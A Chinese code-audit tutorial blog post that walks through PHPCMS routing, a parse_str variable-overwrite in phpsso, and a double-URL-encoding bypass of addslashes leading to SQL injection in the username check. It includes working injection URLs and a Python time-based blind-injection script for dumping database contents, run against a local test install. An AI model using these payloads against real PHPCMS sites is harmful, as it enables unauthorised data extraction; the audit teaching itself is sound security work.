[代码审计基础 14]某cms变量覆盖到N处漏洞
PHP:5.4.5
设置调试:https://blog.csdn.net/m0_46641521/article/details/120107786
PHPCMS变量覆盖到SQL注入
0x01:路由分析
phpcms是一个一分为二的cms,有一套类似应用的东西,包括phpcms,还有一套后台的管控中心,叫phpsso_server,有登录鉴权的作用,也有后端存储服务器的作用;大多数情况下部署在同一台服务器下;
01 入口
我希望我的入口都在index.php中,
代码逻辑可能在modules中,moudules中包括 controller控制器;例如在,moudules/admin/index.php中就有一堆控制器:

02 PHPMVC 的入口限制方式
如果在业务逻辑中,不小心有一个地方没写好,并且在这个地方没有用入口来做控制器的方法,那么就要在每一个业务逻辑中写一个鉴权,或者是引入其他代码的方式;那么写项目就会很难受;
例如:部署好的phpcms,理应是127.0.0.1:81/index.php为网站的主入口:

但是,PHP是以文件作为路由映射的,例如,截图中的文件,可以通过url/path访问到的;
http://127.0.0.1/phpcms/modules/admin/index.php

所以,一般再主入口中写一个变量,define一个变量(IN_PHPCMS);用这个主入口来引入这些控制器,并在控制器中检测变量在不在,如果不在,就退出去,认为是一个非常规的方式;


判断;
拿下一套代码,首先就可以看index.php文件;然后抽样看其他代码文件,看看他们的入口是怎么样的;例如:因为include了phpcms/base.php就都可以作为入口


用这种方式,先梳理出入口,主要入口都是从index.php过来,这样比较好做管理 ,以防有漏做权限控制的风险;
03 代码,路由分析
于是就开始看index.php代码,这里就该开始硬读了;

进入base.php;

基本就是各种定义,定义了某些组件和load了其它的方法;不过这和路由相关性不大;虽然下面有些功能函数,但是没有调用;返回index.php;
路由是什么?
一般在页面上点几下,出来的那个url就是路由
例如:http://127.0.0.1:81/index.php?m=link&c=index&a=register&siteid=1
分析路由:怎么把url找到具体的代码逻辑在哪里;从url做一个到具体代码的映射;
人话:从url找到具体是哪个控制器执行了什么动作或者从url找到对应的文件
以上述连接作为例子,继续跟进:

进入第二个,原因:第一个是phpsso_server属于是后台管理那边的;所以我们看下面的属于本系统下的;

create_app()只有一个load,传入:classname=application;继续跟进:

load_sys_class也只有一个load,传入了classname path initilize;继续跟进:

这一段,进行了引入模块和实例化对象;
从计算器中看到,它引入了install_package\phpcms\libs\classes\application.class.php(简写了);然后实例化了application对象;
然后F7到对应控制器下:

进入到了application的构造函数中,这里又load了param,继续跟进:

然后弯弯绕绕,又走到load_sys_class中,也就是前两张图片的那个

F7进入param的构造函数:

阅读代码:
$_POST = new_addslashes($_POST);
$_GET = new_addslashes($_GET);
$_REQUEST = new_addslashes($_REQUEST);
$_COOKIE = new_addslashes($_COOKIE);
这里就是给传入的参数转义,加上单引号注意使用的是$_POST进行接受:下面是实现

$this->route_config = pc_base::load_config('route', SITE_URL) ? pc_base::load_config('route', SITE_URL) : pc_base::load_config('route', 'default');
load_config是加载配置文件,同时设置默认参数,下面是实现(后面这两张图是专门重新调试得到的)

并且include $path(route.php)进行了默认赋值:

看回param.class.php中的三个判断,都是false;虽然调试后面有算式,但是确实是false
例如:这里可以清晰的看到false

然后F8继续跟进:回到了application.class.php中,也就是说,在param的处理中,是进行了默认参数的赋值处理;

这三个函数不必多说都是赋值的,这里F7跟进一下第二个:

这里第一行,检测get和post有没有传递c和c是否为空;
F7步入safe_deal():

看到,这里是进行替换,将/和.去掉;

最后返回$c,虽然都是index,但是意义是不一样的;
F8后F7,看到init(),这里对application进行初始化和控制器的定义:

F7步入load_controller():

F7继续步入:看到这里有构造方法,应该是foreground的构造方法;

F7继续步入:看到这里有对IP的检查:不过跟进之后发现,目前没有设置ip限制;

这里要多F7走几步

看到了ipanned_cache是空的;
加载完,回到return new $classname那个地方;可以查看一下my_path是什么

my_path()中查看是否有拓展文件
load_controller基本就是进行拼接,拼接对应的路径,最后返回控制器(index);然后F7步入控制器的构造方法中查看其构造方法:

这里就只是load_app_func加载了应用函数库和seteid;假如在这个构造函数中还有父类的构造函数,那么父类的构造函数也是需要查看的
走完load_controller之后,回到init();于是进入到了call_user_function

也就是call_user_func(array($controller,ROUTE_A));对controller的ROUTE_A方法进行了调用;
再F7一步,就到了register(),这个时候,怎么把模块引入的全过程就算是了解了;其它地方的模块引入也是大致流程;区别在于有的模块会有父类构造函数,例如调试时遇到的param;
不管什么代码,这个都需要跟;不同的代码,路由模式不一样,但大差不差;
最后得到结果:
m=link :文件夹
c=index:控制器
a=register:方法
踩坑
- 抓不住重点代码看哪里;
- 调试着调试着就忘了我的目的是啥;
0x02:业务分析
01 phpsso入口
还是得先分析路由,一上来就分析路由
路由清楚了,就看看具体的业务逻辑,因为已经知道了应该怎么进行引用;phpcms是一个一分为二的cms,有一套类似应用的东西,包括PHPcms,还有一套后台的管控中心,叫phpsso_server,在大多数情况下,他们是部署到一台主机上的。每当有一些跟用户权限,用户信息相关的业务发生时,phpcms会与phpsso_server进行通信,于是看看这里是怎么进行的;
先看服务端phpsso_server做了什么事的代码;

可以看到,在phpsso_server的index.php中的代码和phpcms中是一样的路由逻辑;所以就不需要多看路由了;
phpsso更多的是注重于数据库的交互;phpcms只有两个module,一个admin一个phpsso;
这两个模块的index.php都有继承父类,看phpsso/index.php;

进入其父类的构造函数,在构造函数中会看到一个sys_auth的一个密码学验证

对于俺来说,知道加解密算法的要素:
知道:算法是什么,密钥是什么,加密后的数据是什么就行;
02 parsr_str
随后我们看到一个函数parse_str,parse_str()会产生变量覆盖的漏洞的函数;
parse_str(sys_auth($_POST['data'], 'DECODE', $this->applist[$this->appid]['authkey']), $this->data);
在这里的操作,将$_POST['data']解密,然后变量覆盖,覆盖到$this->data,这里先记住,虽然不知道怎么利用;
03 无法解密
然后看解密,解密中看看代码是不是硬编码的,可以在install.php中进行查看;可以看到这里是一个随机数,不是硬编码的;

也就是说,我们无法自己想这个phpsso发送请求,因为没有authkey;
那么,既然他存有这个东西,这个api,必然是phpcms能够自己向它发送请求,那么如果我们能够在某个位置控制请求(我们与phpcms通信,phpcms在后端完成加密的动作,并且能把我们的参数传递到phpsso上)是否就可以跟phpsso进行通信呢?
所以只能够借助phpcms与phpsso通信;也就是说,必须在phpcms中请求才能够将信息正确的传入phpsso;
要跟phpsso通信,必须经由phpcms;
所以接下来就看看是怎么通信的;
0x03:与phpsso通信
01 client类
目前是代审的基础,就没有太注重逻辑,就直接给了漏洞利用点在哪;
主要是要找一个client类;client负责与phpsso通信;
在client类中有_ps_sent来传递消息,这个时候,就可以找哪里调用了ps_post了,然后但是只有_ps_send进行了调用;所以找到谁调用了ps_send就说明谁在和后端通信;
/**
* 发送数据
* @param $action 操作
* @param $data 数据
*/
private function _ps_send($action, $data = null) {
return $this->_ps_post($this->ps_api_url."/index.php?m=phpsso&c=index&a=".$action, 500000, $this->auth_data($data));
}
/**
* post数据
* @param string $url post的url
* @param int $limit 返回的数据的长度
* @param string $post post数据,字符串形式username='dalarge'&password='123456'
* @param string $cookie 模拟 cookie,字符串形式username='dalarge'&password='123456'
* @param string $ip ip地址
* @param int $timeout 连接超时时间
* @param bool $block 是否为阻塞模式
* @return string 返回字符串
*/
private function _ps_post($url, $limit = 0, $post = '', $cookie = '', $ip = '', $timeout = 15, $block = true) {
$return = '';
$matches = parse_url($url);
$host = $matches['host'];
$path = $matches['path'] ? $matches['path'].($matches['query'] ? '?'.$matches['query'] : '') : '/';
$port = !empty($matches['port']) ? $matches['port'] : 80;
$siteurl = $this->_get_url();
if($post) {
$out = "POST $path HTTP/1.1\r\n";
$out .= "Accept: */*\r\n";
$out .= "Referer: ".$siteurl."\r\n";
$out .= "Accept-Language: zh-cn\r\n";
$out .= "Content-Type: application/x-www-form-urlencoded\r\n";
$out .= "User-Agent: $_SERVER[HTTP_USER_AGENT]\r\n";
$out .= "Host: $host\r\n" ;
$out .= 'Content-Length: '.strlen($post)."\r\n" ;
$out .= "Connection: Close\r\n" ;
$out .= "Cache-Control: no-cache\r\n" ;
$out .= "Cookie: $cookie\r\n\r\n" ;
$out .= $post ;
} else {
$out = "GET $path HTTP/1.1\r\n";
$out .= "Accept: */*\r\n";
$out .= "Referer: ".$siteurl."\r\n";
$out .= "Accept-Language: zh-cn\r\n";
$out .= "User-Agent: $_SERVER[HTTP_USER_AGENT]\r\n";
$out .= "Host: $host\r\n";
$out .= "Connection: Close\r\n";
$out .= "Cookie: $cookie\r\n\r\n";
}
$fp = @fsockopen(($ip ? $ip : $host), $port, $errno, $errstr, $timeout);
// var_dump($fp);
if(!$fp) {
return '';
}
stream_set_blocking($fp, $block);
stream_set_timeout($fp, $timeout);
// var_dump(fgets($fp));
@fwrite($fp, $out);
$status = stream_get_meta_data($fp);
if($status['timed_out']) return '';
while (!feof($fp)) {
if(($header = @fgets($fp)) && ($header == "\r\n" || $header == "\n")) break;
}
$stop = false;
while(!feof($fp) && !$stop) {
$data = fread($fp, ($limit == 0 || $limit > 8192 ? 8192 : $limit));
$return .= $data;
if($limit) {
$limit -= strlen($data);
$stop = $limit <= 0;
}
}
@fclose($fp);
//部分虚拟主机返回数值有误,暂不确定原因,过滤返回数据格式
$return_arr = explode("\n", $return);
if(isset($return_arr[1])) {
$return = trim($return_arr[1]);
}
unset($return_arr);
return $return;
}
于是,找哪里调用了ps_post基本就可以认为哪里在与后端通信,然后发现只有ps_send调用了ps_post,也就是说,哪里调用ps_send哪里就在与后端通信;

发现基本都在同一个类中,然后接着往上找;
一般是找一些未授权的,大家都能用的功能触发;
我这里找checkname;然后checkname接着向上找:

于是哪里触发这个public_checkname_ajax就行;
02 正常触发
在注册的时候,name验证,会触发一个请求,这个请求就是所需要的请求:
http://127.0.0.1:81/index.php?clientid=username&username=debug002&m=member&c=index&a=public_checkname_ajax&_=1676903611485


最后跟进进入ps_post,在
$fp = @fsockopen(($ip ? $ip : $host), $port, $errno, $errstr, $timeout);
建立一个连接,然后在下图蓝条位置发送请求;

注意看调试信息中的post信息中的后一条信息,那就是加密的信息,同时$url也是请求的后台的地址;
插一句:
其实这个地址我们是能够直接访问得到的,但是由于没法通过post传递正确的加密信息,所以会返回失败的代码0;(这个666是我自己写的,不用管,看0就行;下面的图中就有echo'666';)所以需要从phpcms中请求phpsso_server;

在之前的调试$status = stream_get_meta_data($fp);这一步F7,于是phpsso_server/phpcms/modules/phpsso/index.php能够接受到请求:

然后进入父类的构造方法中;一路看到33行;这里会进行解析;

这一步过后,就能够在this->data中查看到传入的信息,已经将debug002传递过来了;

此时此刻,就说明我们已经将信息传递过来;接着跟进;
走完两个构造函数和一个初始化函数;进入checkname函数;看看它的内容;

后面有一步$this->db->get_one();

显然是一个对数据库进行操作的函数,进入这个函数:

然后能看到,这里判断之后会进入一个sqls函数,进入sqls函数:
看看具体是做了什么;

其实发现这里就是一个字符串拼接,并没有预编译;这里会返回一个拼接好的字符串;
接着跟,进入get_one

然后发现整个过程是进行的拼接;
于是传入一个debug002'看看是啥:
哈哈哈,笑死,用户名不合法;不让传,用burp;6,burp也传不进去;
用浏览器传,我们在调试的时候会发现,这里是用请求接口的方式对后端进行的请求,所以调试过程中的那个url请求可以拿到浏览器来用;哦,然后找到原因了,是用的版本不对,所用版本中加了一个is_username的检测;害,干脆找正确的来,来来回回改了很多了:

总之,现在传过来了:
发现这里居然有\\\',然后找找哪里加了反斜线:

这里加了反斜线:(param那个类好像)

然后这里还有一个:

添加后:

现在不急着攻击,先看看这个信息是怎么流转的;
0x04:输入流转
01 信息流转
/index.php?clientid=username&username=debug002'&_=1677052781721&m=member&c=index&a=public_checkname_ajax
if(!get_magic_quotes_gpc()) {
$_POST = new_addslashes($_POST);
$_GET = new_addslashes($_GET);
$_REQUEST = new_addslashes($_REQUEST);
$_COOKIE = new_addslashes($_COOKIE);
}
$data['username']="debug002\'"
if(CHARSET != 'utf-8') {
$username = iconv('utf-8', CHARSET, $username);
$username = addslashes($username);
}
$username = "debug002\\\'"
parse_str($data,$this->data) ==> $this->data['username'] = "debug002\\\'"
SELECT * FROM `phpcmsv9_1.5.0`.`v9_15_sso_members` WHERE `username` = 'debug002\\\'' LIMIT 1 ==>⽆法注⼊
02 parse_str利用
parae_str()利用:https://www.php.cn/php-weizijiaocheng-405803.html
parse_str()不仅能够将字符串拆分为变量,还会自动进行urldecode;

我们是希望传递过去的是一个debug002';
所以考虑后面会接受到一个',也就是%27;
由于addslashes是针对单引号,之类,对%不起作用;
所以在传递debug002'的时候,传递成debug002%27;由于传递的时候会自动进行一次url解码;所以传入:debug002%2527;

调试结果:

成功解析出单引号:
执行语句:
SELECT * FROM `phpcmsv9_1.5.0`.`v9_15_sso_members` WHERE `username` = '1' and updatexml(1,concat(0x7e,version()),1)#' LIMIT 1;

在Navicat中执行命令能够执行:

但是这里是没有回显的,也没法通过回显来进行判断,所以用sqlmap来跑;

03 为什么这里没回显呢?
之前提到过,它是请求api的,然后根据返回的数值,cms再返回页面;
所以就得进入后边api调试一下,其实也简单;
在这里:为了写脚本方便,换了一个payload:
http://127.0.0.1:82//index.php?clientid=username&username=1%2527+union+select 1,2,3,4,5,6,7,8,9,10,11,12,if(ascii(substr((select database()),1,1))>79,sleep(2),1)%23+&_=1677052781721&m=member&c=index&a=public_checkname_ajax

调用了一个call_user_func,然后进入checkname,由于没带值,所以这里is_return=0;

然后跟入执行SQL的地方:

看到了$res是有值的;
然后回来这里:判断$r是不是空的;显然查了一堆东西,不是空的;
注意这里是检查是不是空,而不是检查返回的是什么;所以只要有返回,值就是固定的;
之前的用的报错,返回应该是空的,所以输出了1,再加上后边还有个判断,于是乎页面输出了1;

输出一个-1;这里我也有点没看懂,大概是将-1给了$status;

最后退出,给了个0;

04 sqlmap利用
哎哟,我找的这个username的跑sqlmap跑不出来;
试试盲注:改个脚本:
import requests
url1 = "http://127.0.0.1:82//index.php?clientid=username&username=1%2527+union+"
url2 = "%23+&_=1677052781721&m=member&c=index&a=public_checkname_ajax"
result = ""
i = 0
while True:
i = i + 1
head = 32
tail = 127
while head < tail:
mid = (head + tail) >> 1
payload = "select database()"
# 查数据库
# payload = "select group_concat(table_name) from information_schema.tables where table_schema=database()"
# 查列名字-id.flag
# payload = "select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flagx'"
# 查数据
# payload = "select flaga from ctfshow_flagx"
data = f"select 1,2,3,4,5,6,7,8,9,10,11,12,if(ascii(substr(({payload}),{i},1))>{mid},sleep(2),1)"
url = url1 + data +url2
# print(url)
# exit()
try:
r = requests.post(url, timeout=2)
tail = mid
except Exception as e:
head = mid + 1
if head != 32:
result += chr(head)
else:
break
print(result)
# """
# http://127.0.0.1:82//index.php?clientid=username&username=1%2527+union+if(ascii(substr((select database()),1,1))>79,sleep(5),1)%23+&_=1677052781721&=member&c=index&a=public_checkname_ajax
# """
# select if(ascii(substr((select database()),1,1))>79,sleep(5),1)
# select if(ascii(substr((select database()),1,1))>79,sleep(2),1);

然后勉强算是成功了;
踩坑
- 就是说咋安装好之后,就别动了;要是后面有什么
fsokopen无法请求,phpserver接收不到请求信息,咋直接重启PHPstorm,编译器抽个风改了不知道重装了几次。。。。结果重启就行; - 代码改了很多,和讲师的代码不一样,很多地方都需要修改;
[代码审计基础 14]某cms变量覆盖到N处漏洞的更多相关文章
- dedecms SESSION变量覆盖导致SQL注入漏洞修补方案
dedecms的/plus/advancedsearch.php中,直接从$_SESSION[$sqlhash]获取值作为$query带入SQL查询,这个漏洞的利用前提是session.auto_st ...
- 代码审计-MetInfo CMS变量覆盖漏洞
0x01 代码分析 安装好后是这样的 漏洞文件地址\include\common.inc.php 首先是在这个文件发现存在变量覆盖的漏洞 foreach(array('_COOKIE', '_POST ...
- PHP代码审计理解(一)----Metinfo5.0变量覆盖
0x01 漏洞简介 这个漏洞是metinfo5.0变量覆盖漏洞,并且需要结合文件包含.我使用的cms版本是5.3,事实上已经修复了这个漏洞(5.0的cms源码已经找不到了哈),但是我们可以借他来学习理 ...
- 『忘了再学』Shell基础 — 14、环境变量(二)
目录 1.PS1变量的作用 2.PS1变量的查看 2.PS1可以支持的选项 3.PS1环境变量的配置 4.总结 提示: 在Linux系统中,环境变量分为两种.一种是用户自定义的环境变量,另一种是系统自 ...
- 变量覆盖漏洞学习及在webshell中的运用
一.发生条件: 函数使用不当($$.extract().parse_str().import_request_variables()等) 开启全局变量 二.基础了解: 1.$$定义 $$代表可变变量, ...
- PHP变量覆盖漏洞小结
前言 变量覆盖漏洞是需要我们需要值得注意的一个漏洞,下面就对变量覆盖漏洞进行一个小总结. 变量覆盖概述 变量覆盖指的是可以用我们自定义的参数值替换程序原有的变量值,通常需要结合程序的其他功能来实现完整 ...
- php代码审计之变量覆盖
变量覆盖一般由这四个函数引起 <?php $b=3; $a = array('b' => '1' ); extract($a,EXTR_OVERWRITE); print_r($b); / ...
- PHP代码审计笔记--变量覆盖漏洞
变量覆盖指的是用我们自定义的参数值替换程序原有的变量值,一般变量覆盖漏洞需要结合程序的其它功能来实现完整的攻击. 经常导致变量覆盖漏洞场景有:$$,extract()函数,parse_str()函数, ...
- CTF——代码审计之变量覆盖漏洞writeup【2】
题目: 基础: 所需基础知识见变量覆盖漏洞[1] 分析: 现在的$a=’hi’,而下面的函数需满足$a=’jaivy’才可以输出flag,那么需要做的事就是想办法覆盖掉$a原来的值. 那么出现的提示 ...
- 2020/2/1 PHP代码审计之变量覆盖漏洞
0x00 变量覆盖简介 变量覆盖是指变量未被初始化,我们自定义的参数值可以替换程序原有的变量值. 0x01 漏洞危害 通常结合程序的其他漏洞实现完整的攻击,比如文件上传页面,覆盖掉原来白名单的列表,导 ...
随机推荐
- 2 c++编程-核心
重新系统学习c++语言,并将学习过程中的知识在这里抄录.总结.沉淀.同时希望对刷到的朋友有所帮助,一起加油哦! 本章是继上篇 c++编程-基础 之后的 c++ 编程-核心. 生命就像一朵花,要拼尽 ...
- ArcObjects SDK开发 008 从mxd地图文件说起
1.Mxd文件介绍 ArcGIS的地图文件为.mxd扩展名.Mxd文件的是有版本的,和ArcGIS的版本对应.可以在ArcMap中的File-Save A Copy,保存一个地图拷贝的时候选择Mxd文 ...
- day32 6 请求转发与重定向的区别、session会话对象 & cookie & 8 应用程序上下文对象ServletContext & 5 请求转发与jsp页面内置对象
1 请求转发与重定向的区别 2 session与cookie的区别 3 过滤器与监听器的区别 4 web-inf目录 web-inf目录是安全目录,无法从客户端访问,只能通过(服务端的)servlet ...
- 视频超分之BasicVSR-阅读笔记
1.介绍 对于视频超分提出了很多方法,EDVR中采用了多尺度可变形对齐模块和多个注意层进行对齐和定位并且从不同的帧聚合特征,在RBPN中,多个投影模块用于顺序聚合多个帧中的特征.这样的设计是有效的,但 ...
- pyftpdlib中文乱码问题解决方案
python实现简易的FTP服务器 from pyftpdlib.authorizers import DummyAuthorizer from pyftpdlib.handlers import F ...
- [信息抽取]基于ERNIE3.0的多对多信息抽取算法:属性关系抽取
[信息抽取]基于ERNIE3.0的多对多信息抽取算法:属性关系抽取 实体关系,实体属性抽取是信息抽取的关键任务:实体关系抽取是指从一段文本中抽取关系三元组,实体属性抽取是指从一段文本中抽取属性三元组: ...
- 【每日一题】2022年2月10日-NC160 二分查找-I
描述请实现无重复数字的升序数组的二分查找 给定一个 元素升序的.无重复数字的整型数组 nums 和一个目标值 target ,写一个函数搜索 nums 中的 target,如果目标值存在返回下标(下标 ...
- PyQt4编写界面的两种方式
PyQt4编写界面的两种方式 应用PyQt4开发图形化界面有两种方式,一种是直接通过QtDesigner通过提供的窗口部件拖拽进行GUI创建,另外一种是直接进行编程实现. 第一种,QtDesigner ...
- JS执行机制及ES6
一.JS执行机制 JS语言有个特点是单线程,即同一时间只能做一件事.单线程就意味着,所有的任务需要排队,前一个任务结束,才会执行后一个任务,可能造成页面渲染不连贯. 为了解决这个问题,利用多核CPU的 ...
- 温故知新 - 靶机练习-Toppo
今天闲来无事,重新做了一下以前做过的第一个靶机(https://www.cnblogs.com/sallyzhang/p/12792042.html),这个靶机主要是练习sudo提权,当时不会也没理解 ...